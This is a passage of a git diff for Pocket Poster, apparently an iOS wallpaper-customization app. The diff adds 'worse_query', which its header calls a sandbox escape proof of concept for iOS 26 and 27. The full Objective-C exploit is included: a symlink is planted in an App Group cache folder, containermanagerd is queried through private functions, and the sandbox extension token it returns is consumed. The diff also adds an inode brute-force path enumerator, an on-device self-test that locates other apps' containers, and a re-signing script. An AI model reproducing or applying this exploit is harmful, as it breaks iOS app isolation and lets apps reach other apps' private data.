Poster/Exploit/SelfTest.swift b/Pocket Poster/Exploit/SelfTest.swift new file mode 100644 index 0000000..4234816 --- /dev/null +++ b/Pocket Poster/Exploit/SelfTest.swift @@ -0,0 +1,77 @@ +// +// SelfTest.swift +// Pocket Poster +// +// Launch-time diagnostics, enabled with POCKET_POSTER_SELFTEST=1. +// Used to verify worse_query and container discovery on-device. +// + +import Foundation +import UIKit + +enum SelfTest { + static var isEnabled: Bool { + ProcessInfo.processInfo.environment["POCKET_POSTER_SELFTEST"] == "1" + } + + static func run() { + print("=== Pocket Poster self-test ===") + print("OS: \(ProcessInfo.processInfo.operatingSystemVersionString)") + print("Bundle: \(Bundle.main.bundleIdentifier ?? "?")") + print("App Group: \(SandboxEscape.appGroupIdentifier ?? "nil")") + print("Backend: \(String(describing: SandboxEscape.backend))") + + guard SandboxEscape.isAvailable else { + print("self-test: sandbox escape unavailable") + print("=== self-test done ===") + return + } + + // 1. Can worse_query grant access to each search root? + for root in SandboxEscape.defaultSearchRoots { + do { + let handle = try SandboxEscape.consume(path: root, create: true) + print("access OK: \(root) (handle \(handle.handle))") + handle.release() + } catch { + print("access FAIL: \(root): \(error.localizedDescription)") + } + } + + // 2. Can we find PosterBoard's data container? + let start = Date() + do { + let hash = try SandboxEscape.findPosterBoardHash() + print("PosterBoard hash: \(hash) (scan \(String(format: "%.1f", Date().timeIntervalSince(start)))s)") + let container = SandboxEscape.applicationContainerPath(appHash: hash) + print("PosterBoard container: \(container)") + + // 3. Can we open the CollectionsPoster descriptors directory? + let descriptors = SandboxEscape.descriptorsPath( + appHash: hash, + ext: "com.apple.WallpaperKit.CollectionsPoster" + ) + do { + let handle = try SandboxEscape.consume(path: descriptors, create: true) + print("descriptors OK: \(descriptors) (handle \(handle.handle))") + handle.release() + } catch { + print("descriptors FAIL: \(descriptors): \(error.localizedDescription)") + } + } catch { + print("PosterBoard detect FAIL: \(error.localizedDescription)") + } + + // 4. CarPlay container (phones only). + if UIDevice.current.userInterfaceIdiom == .phone { + do { + let hash = try SandboxEscape.findCarPlayHash() + print("CarPlayWallpaper hash: \(hash)") + } catch { + print("CarPlayWallpaper detect FAIL: \(error.localizedDescription)") + } + } + + print("=== self-test done ===") + } +} diff --git a/Pocket Poster/Exploit/pathleak.h b/Pocket Poster/Exploit/pathleak.h new file mode 100644 index 0000000..538eef8 --- /dev/null +++ b/Pocket Poster/Exploit/pathleak.h @@ -0,0 +1,33 @@ +// +// pathleak.h +// worse_query +// +// Created by Taj C on 9/2/26. +// + +/* + pathleak - The dumbest arbitrary path enumeration. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef pathleak_h +#define pathleak_h + +#import + +NSArray *pathleak(NSString *filter, uint64_t max_inode); + +#endif /* pathleak_h */ diff --git a/Pocket Poster/Exploit/pathleak.m b/Pocket Poster/Exploit/pathleak.m new file mode 100644 index 0000000..e62380e --- /dev/null +++ b/Pocket Poster/Exploit/pathleak.m @@ -0,0 +1,82 @@ +// +// pathleak.m +// worse_query +// +// Created by Taj C on 9/2/26. +// + +/* + pathleak - The dumbest arbitrary path enumeration. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#import +#include +#include + +// This is just a rewrite of bad_query_list to return an NSString array and run faster +// The way this works is literally just brute-forcing inodes and doing fsgetpath until it gets a matching path, lol. +// Which is still, obviously, dramatically faster than brute-forcing UUIDs. + +// It might be possible to derive a sane inode value automagically by just creating a file, doing stat() on it, getting *that* file's inode, then using that for the max_inode count. + +NSArray *pathleak(NSString *path, uint64_t max_inode) { + // Sanity checks + if (path.length == 0 || max_inode < 1) return nil; + NSString *dir = path; + while (dir.length > 1 && [dir hasSuffix: @"/"]) { // Trim trailing slash (if present) + dir = [dir substringToIndex: dir.length - 1]; + } + + // Set everything up + struct statfs sfs; + if (statfs(dir.fileSystemRepresentation, &sfs) != 0) { + // Sandboxed apps may not be allowed to statfs an arbitrary container + // root, but the volume is the same as /private/var. + if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) return nil; + } + fsid_t fsid = sfs.f_fsid; + + char prefix[PATH_MAX]; + if (![dir getFileSystemRepresentation: prefix maxLength: sizeof(prefix)]) return nil; + size_t prefix_length = strlen(prefix); + if (prefix_length == 1 && prefix[0] == '/') prefix_length = 0; + + NSFileManager *files = [NSFileManager defaultManager]; + NSMutableArray *result = [NSMutableArray array]; + char buffer[PATH_MAX]; + + // Brute-force inodes to their corresponding paths + // I'd like to make this multithreaded at some point, but I don't think it'll help. + for (uint64_t inode = 1; inode <= max_inode; inode++) { + ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode); + if (n <= 0) continue; + + // fsgetpath can return /private/var/... while callers pass /var/... + const char *path = buffer; + if (strncmp(path, "/private/var/", 13) == 0 && strncmp(prefix, "/var/", 5) == 0) { + path += 8; + } + + if (strncmp(path, prefix, prefix_length) != 0) continue; + if (path[prefix_length] != '/') continue; + if (strchr(path + prefix_length + 1, '/')) continue; + + NSString *string = [files stringWithFileSystemRepresentation: path length: strlen(path)]; + if (string) [result addObject: string]; + } + return result; +} diff --git a/Pocket Poster/Exploit/worse_query.h b/Pocket Poster/Exploit/worse_query.h new file mode 100644 index 0000000..0275bb9 --- /dev/null +++ b/Pocket Poster/Exploit/worse_query.h @@ -0,0 +1,36 @@ +// +// worse_query.h +// worse_query +// +// Created by Taj C on 8/20/26. +// + +/* + worse_query - A sandbox escape PoC for iOS 26 and 27, again. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef worse_query_h +#define worse_query_h + +#import +#include +#include + +int64_t worse_query(NSString *path, NSString *group, bool alt_flags, bool create_dir); +void worse_query_release(int64_t handle); + +#endif /* worse_query_h */ diff --git a/Pocket Poster/Exploit/worse_query.m b/Pocket Poster/Exploit/worse_query.m new file mode 100644 index 0000000..cba035a --- /dev/null +++ b/Pocket Poster/Exploit/worse_query.m @@ -0,0 +1,148 @@ +// +// worse_query.m +// worse_query +// +// Created by Taj C on 8/20/26. +// + +/* + worse_query - A sandbox escape PoC for iOS 26 and 27, again. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#import +#include +#include +#include +#include +#include "worse_query.h" + +typedef void *(*container_query_create_fn)(void); +typedef void (*container_query_set_class_fn)(void *, uint64_t); +typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t); +typedef void (*container_query_set_flags_fn)(void *, uint64_t); +typedef void (*container_query_set_part_fn)(void *, uint64_t); +typedef void *(*container_query_get_single_result_fn)(void *); +typedef void (*container_query_free_fn)(void *); +typedef char *(*container_copy_sandbox_token_fn)(void *); +typedef int64_t (*sandbox_extension_consume_fn)(const char *); +typedef int (*sandbox_extension_release_fn)(int64_t); + +// Remove symlink and recreate Caches directory +static void clean_symlink(NSString *group) { + if (group != NULL) { + NSFileManager *files = [NSFileManager defaultManager]; + NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group]; + if (groupRoot) { + NSURL *caches = [groupRoot URLByAppendingPathComponent: @"Library/Caches"]; + [files removeItemAtURL: caches error: nil]; + [files createDirectoryAtURL: caches withIntermediateDirectories: false attributes: nil error: nil]; + } + } + return; +} + +// So, who's ready for round two? +int64_t worse_query(NSString *target, NSString *group, bool alt_flags, bool create_dir) { + // Check if the target exists + if (!create_dir) { + struct stat st; + if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; // Nothing exists at this path, and create_dir is false + } + + // Get the App Group's path + // An App Group identifier you control is required for this + NSFileManager *files = [NSFileManager defaultManager]; + NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group]; + if (!groupRoot) return -1; // App Group doesn't exist or we can't access it + NSString *caches = [[groupRoot URLByAppendingPathComponent: @"Library/Caches"] path]; + + // Resolve functions + void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); + if (!mgr) return -2; // dlopen failed? + + container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); + container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); + container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers"); + container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags"); + container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part"); + container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result"); + container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); + container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token"); + sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume"); + if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) { + dlclose(mgr); + return -2; // Failed to resolve a function (unsupported OS) + } + + // Create query + void *query = query_create(); + if (!query) { + dlclose(mgr); + return -3; // Failed to create query + } + + // Set up query + xpc_object_t identifier; + query_set_class(query, 7); // We're only using class 7 here (appGroup), which goes to containermanagerd + identifier = xpc_string_create(group.UTF8String); + query_set_group_identifiers(query, identifier); + query_set_part(query, 3); // The query's part sets our base path, part 3 is Library/Caches + if (alt_flags) { + query_set_flags(query, 0x0000000800000000ULL); // Accessing App Group containers on iOS 26.x needs different flags, for whatever reason + } else { + query_set_flags(query, 0x0000008000000000ULL); + } + + // Set up symlink + [files removeItemAtPath: caches error: nil]; + if ([files createSymbolicLinkAtPath: caches withDestinationPath: target error: nil] == false) { + dlclose(mgr); + return -4; // Failed to create symlink + } + + // Send our query over + void *result = query_get_single_result(query); + if (!result) { + query_free(query); + dlclose(mgr); + clean_symlink(group); + return -5; // Query rejected by containermanagerd + } + char *token = copy_sandbox_token(result); + if (!token) { + query_free(query); + dlclose(mgr); + clean_symlink(group); + return -6; // Kernel refused to issue a sandbox extension + } + + // Consume sandbox extension and clean up + int64_t handle = consume_extension(token); + query_free(query); + free(token); + dlclose(mgr); + clean_symlink(group); + + return handle; +} + +// You should probably call this when you're done +void worse_query_release(int64_t handle) { + if (handle < 0) return; + sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release"); + if (release_extension) release_extension(handle); +} diff --git a/Pocket Poster/Pocket_PosterApp.swift b/Pocket Poster/Pocket_PosterApp.swift index be1b987..d350f34 100644 --- a/Pocket Poster/Pocket_PosterApp.swift +++ b/Pocket Poster/Pocket_PosterApp.swift @@ -84,5 +84,11 @@ struct Pocket_PosterApp: App { init() { // clear the videos cache try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent("Videos", conformingTo: .directory)) + + if SelfTest.isEnabled { + DispatchQueue.global(qos: .userInitiated).async { + SelfTest.run() + } + } } } diff --git a/Pocket Poster/Views/ContentView.swift b/Pocket Poster/Views/ContentView.swift index e81b827..a0d8be4 100644 --- a/Pocket Poster/Views/ContentView.swift +++ b/Pocket Poster/Views/ContentView.swift @@ -58,12 +58,12 @@ struct ContentView: View { } Section { - if pbHash == "" && !SymHandler.prefersBadQuery { + if pbHash == "" && !SymHandler.prefersSandboxEscape { Text("Enter your PosterBoard app hash in Settings.") } else { VStack { - if pbHash == "" && SymHandler.prefersBadQuery { - Text("No hash set — will auto-detect via bad_query on Apply.") + if pbHash == "" && SymHandler.prefersSandboxEscape { + Text("No hash set — will auto-detect via worse_query on Apply.") .font(.caption) .foregroundStyle(.secondary) } @@ -77,7 +77,7 @@ struct ContentView: View { var hash = pbHash if hash.isEmpty { UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…") - hash = try BadQuery.findPosterBoardHash() + hash = try SandboxEscape.findPosterBoardHash() DispatchQueue.main.async { pbHash = hash } } try pbManager.applyTendies(appHash: hash) @@ -108,8 +108,8 @@ struct ContentView: View { Button(action: { UIApplication.shared.confirmAlert( title: NSLocalizedString("Reset Collections", comment: ""), - body: SymHandler.prefersBadQuery - ? "This will wipe custom PosterBoard descriptors via bad_query, then respring." + body: SymHandler.prefersSandboxEscape + ? "This will wipe custom PosterBoard descriptors via worse_query, then respring." : NSLocalizedString("Do you want to reset collections?", comment: ""), onOK: { UIApplication.shared.alert( @@ -121,8 +121,8 @@ struct ContentView: View { DispatchQueue.global(qos: .userInitiated).async { do { var hash = pbHash - if hash.isEmpty && SymHandler.prefersBadQuery { - hash = try BadQuery.findPosterBoardHash() + if hash.isEmpty && SymHandler.prefersSandboxEscape { + hash = try SandboxEscape.findPosterBoardHash() DispatchQueue.main.async { pbHash = hash } } guard !hash.isEmpty else { diff --git a/Pocket Poster/Views/SettingsView.swift b/Pocket Poster/Views/SettingsView.swift index 49ee962..d2a241f 100644 --- a/Pocket Poster/Views/SettingsView.swift +++ b/Pocket Poster/Views/SettingsView.swift @@ -30,16 +30,18 @@ struct SettingsView: View { .font(.system(.body, design: .monospaced)) } - if SymHandler.prefersBadQuery { - Text("bad_query available — on-device detect works (no PC).") + if SymHandler.prefersSandboxEscape { + Text(SandboxEscape.isUsingWorseQuery + ? "worse_query available — on-device detect works (no PC). App Group: \(SandboxEscape.appGroupIdentifier ?? "unknown")" + : "bad_query fallback available (iOS 26) — on-device detect works (no PC).") .font(.caption) .foregroundStyle(.secondary) } HStack { Spacer() - // On-device detect via bad_query (iOS 26/27) - if SymHandler.prefersBadQuery { + // On-device detect via worse_query (iOS 26/27) + if SymHandler.prefersSandboxEscape { Button(action: { detectOnDevice() }) { @@ -63,7 +65,7 @@ struct SettingsView: View { } startWaitForHash() }) { - Text(SymHandler.prefersBadQuery ? "Detect via Nugget" : "Detect") + Text(SymHandler.prefersSandboxEscape ? "Wait for Nugget" : "Detect") } .foregroundStyle(.green) .onChange(of: checkingForHash) { _ in @@ -161,12 +163,12 @@ struct SettingsView: View { // MARK: Credits Section { - LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "bad_query port · iOS 27 build", circle: true) + LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "worse_query port · iOS 27.2 build", circle: true) LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true) LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true) LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true) LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true) - LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/bad_query", title: "forcequitOS", contribution: "bad_query (iOS 26/27)", circle: false) + LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/worse_query", title: "forcequitOS", contribution: "worse_query (iOS 26/27)", circle: false) LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true) LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor") } header: { @@ -175,12 +177,12 @@ struct SettingsView: View { } } - /// Scan containers on-device with bad_query / fsgetpath — no computer needed. + /// Scan containers on-device with worse_query / fsgetpath — no computer needed. func detectOnDevice() { detectingOnDevice = true UIApplication.shared.alert( title: "Scanning containers…", - body: "Looking for PosterBoard via bad_query. This may take a moment.", + body: "Looking for PosterBoard via worse_query. This may take a moment.", animated: true, withButton: false ) @@ -191,13 +193,13 @@ struct SettingsView: View { var errMsg: String? do { - pb = try BadQuery.findPosterBoardHash() + pb = try SandboxEscape.findPosterBoardHash() } catch { errMsg = error.localizedDescription } if CarPlayManager.supportsCarPlay() { - cp = try? BadQuery.findCarPlayHash() + cp = try? SandboxEscape.findCarPlayHash() } // Always show a closeable result alert (loading alert has no OK button — diff --git a/README.md b/README.md index 7810961..cabdaf9 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@

Pocket Poster

-

Custom PosterBoard Wallpapers for iOS 17+ · bad_query for iOS 26–27.0b4

+

Custom PosterBoard Wallpapers for iOS 17+ · worse_query for iOS 26–27.2

Maintained / iOS 27 port by Mak5er

@@ -21,13 +21,16 @@ git tag v3.2.2 && git push origin v3.2.2 ## Getting Started -### iOS 26 / 27.0b4 (bad_query) -On versions where [bad_query][badQueryGitHub] works, **no computer is required**: -1. Install the IPA (sideload with TrollStore / SideStore / etc.). +### iOS 26 / 27.2 (worse_query) +On versions where [worse_query][worseQueryGitHub] works (iOS 26.0–26.7.2 and 27.0–27.2.x), **no computer is required**. The app must be signed with a provisioning profile that contains an **App Group** — worse_query uses that container to place its symlink and obtain the sandbox extension. Signed IPAs produced with the included `sign_personal.sh` already carry the profile's App Groups. + +1. Install the IPA (sideload with your signer of choice; the profile needs an App Group). 2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects). 3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard). -**Reset Collections** wipes PosterBoard descriptors via bad_query, then full resprings the same way. +If no App Group entitlement is present the app reports it explicitly; on iOS 26 the legacy bad_query route is used as a fallback. + +**Reset Collections** wipes PosterBoard descriptors via worse_query, then full resprings the same way. ### Older iOS (legacy .Trash exploit) You will need a computer to get the App Hash/UUID. @@ -40,13 +43,13 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun
Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help. ## Credits -- **[Mak5er][Mak5erGitHub]** — bad_query integration, iOS 27 port, full respring, on-device detect +- **[Mak5er][Mak5erGitHub]** — worse_query integration, iOS 27.2 port, full respring, on-device detect - [LeminLimez][LeminGitHub] — original Pocket Poster - Translations crowdsourced using [POEditor][POEditorJoin] - [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard - [dootskyre][dootskyreX] for the fallback shortcut - [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit -- [forcequitOS][badQueryGitHub] for bad_query (iOS 26/27 sandbox escape) +- [forcequitOS][worseQueryGitHub] for worse_query (iOS 26/27 sandbox escape) - [SerStars][SerStarsX] for creating the website [CowabungaWallpapersPage]: https://cowabun.ga/wallpapers @@ -62,3 +65,4 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun [DuyKhanhTranGitHub]: https://github.com/khanhduytran0 [SerStarsX]: https://x.com/SerStars [badQueryGitHub]: https://github.com/forcequitOS/bad_query +[worseQueryGitHub]: https://github.com/forcequitOS/worse_query diff --git a/sign_personal.sh b/sign_personal.sh new file mode 100755 index 0000000..f56f28d --- /dev/null +++ b/sign_personal.sh @@ -0,0 +1,122 @@ +#!/bin/bash +# +# Sign an unsigned Pocket Poster IPA with an Apple Distribution certificate +# and an ad-hoc provisioning profile that contains App Groups. +# +# Usage: +# ./sign_personal.sh [output.ipa] +# +set -euo pipefail + +if [ $# -lt 4 ]; then + echo "usage: $0 [output.ipa]" >&2 + exit 64 +fi + +IPA="$1" +P12="$2" +P12_PASS="$3" +PROFILE="$4" +OUT="${5:-$(pwd)/Pocket_Poster-personal.ipa}" + +for f in "$IPA" "$P12" "$PROFILE"; do + [ -f "$f" ] || { echo "missing file: $f" >&2; exit 66; } +done + +WORK="$(mktemp -d "${TMPDIR:-/tmp}/pocket-sign.XXXXXX")" +KC_NAME="pocket-sign-$$-$(date +%s)" +KC_PATH="$HOME/Library/Keychains/$KC_NAME-db" +KC_PASS="$(uuidgen)" + +ORIG_DEFAULT="$(security default-keychain -d user | sed -e 's/^ *"//' -e 's/"$//')" +ORIG_KC_LIST=() +while IFS= read -r line; do + line="$(echo "$line" | sed -e 's/^ *"//' -e 's/"$//')" + [ -n "$line" ] && ORIG_KC_LIST+=("$line") +done < <(security list-keychains -d user) + +cleanup() { + set +e + if [ -n "${ORIG_DEFAULT:-}" ]; then + security default-keychain -d user -s "$ORIG_DEFAULT" >/dev/null 2>&1 + fi + if [ ${#ORIG_KC_LIST[@]} -gt 0 ]; then + security list-keychains -d user -s "${ORIG_KC_LIST[@]}" >/dev/null 2>&1 + fi + security delete-keychain "$KC_NAME" >/dev/null 2>&1 + rm -rf "$WORK" +} +trap cleanup EXIT + +echo "[*] Creating temporary keychain" +security create-keychain -p "$KC_PASS" "$KC_NAME" +security set-keychain-settings -lut 21600 "$KC_NAME" +security unlock-keychain -p "$KC_PASS" "$KC_NAME" + +echo "[*] Importing signing identity" +# Security.framework's PKCS#12 importer rejects this (legacy-encoded) p12, +# so convert it to an unencrypted PEM bundle and import that instead. +openssl pkcs12 -in "$P12" -passin "pass:$P12_PASS" -nodes -out "$WORK/identity.pem" >/dev/null 2>&1 +security import "$WORK/identity.pem" -k "$KC_NAME" -T /usr/bin/codesign >/dev/null + +# Bring the WWDR intermediate into the temporary keychain so codesign can +# embed the full chain. +{ + security find-certificate -a -c "Apple Worldwide Developer Relations" -p "$HOME/Library/Keychains/login.keychain-db" 2>/dev/null + security find-certificate -a -c "Apple Worldwide Developer Relations" -p /Library/Keychains/System.keychain 2>/dev/null +} > "$WORK/wwdr.pem" +if [ -s "$WORK/wwdr.pem" ]; then + security import "$WORK/wwdr.pem" -k "$KC_NAME" >/dev/null 2>&1 || true +fi + +security set-key-partition-list -S apple-tool:,apple:,codesign: -s -k "$KC_PASS" "$KC_NAME" >/dev/null +security default-keychain -d user -s "$KC_PATH" +security list-keychains -d user -s "$KC_PATH" "${ORIG_KC_LIST[@]}" +security unlock-keychain -p "$KC_PASS" "$KC_NAME" + +IDENTITY="$(security find-identity -v -p codesigning | awk '/Apple Distribution|Apple Development/ {print $2; exit}')" +if [ -z "${IDENTITY:-}" ]; then + echo "no code signing identity found in $P12" >&2 + security find-identity -v -p codesigning >&2 + exit 65 +fi +echo "[*] Identity: $IDENTITY" + +echo "[*] Extracting provisioning profile" +security cms -D -i "$PROFILE" > "$WORK/profile.plist" +plutil -extract Entitlements xml1 -o "$WORK/entitlements.plist" "$WORK/profile.plist" + +APP_ID="$(/usr/libexec/PlistBuddy -c 'Print :application-identifier' "$WORK/entitlements.plist")" +BUNDLE_ID="${APP_ID#*.}" +if [ -n "${BUNDLE_ID_OVERRIDE:-}" ]; then + BUNDLE_ID="$BUNDLE_ID_OVERRIDE" +fi +echo "[*] Bundle ID: $BUNDLE_ID" + +echo "[*] Unpacking IPA" +ditto -x -k "$IPA" "$WORK/unpacked" +APP="$(find "$WORK/unpacked/Payload" -maxdepth 1 -name '*.app' -type d | head -1)" +[ -n "${APP:-}" ] && [ -d "$APP" ] || { echo "no .app inside IPA" >&2; exit 66; } +echo "[*] App: $(basename "$APP")" + +/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier $BUNDLE_ID" "$APP/Info.plist" +cp "$PROFILE" "$APP/embedded.mobileprovision" + +echo "[*] Signing" +codesign --force --sign "$IDENTITY" \ + --entitlements "$WORK/entitlements.plist" \ + --timestamp=none \ + "$APP" + +echo "[*] Verifying" +codesign --verify --deep --strict --verbose=2 "$APP" +codesign -d --entitlements :- "$APP" 2>/dev/null | plutil -p - | grep -A6 "com.apple.security.application-groups" || true + +echo "[*] Packaging" +rm -f "$OUT" +mkdir -p "$WORK/out/Payload" +ditto "$APP" "$WORK/out/Payload/$(basename "$APP")" +( cd "$WORK/out" && zip -qry "$OUT" Payload ) + +echo "[*] Wrote $OUT" +ls -lh "$OUT"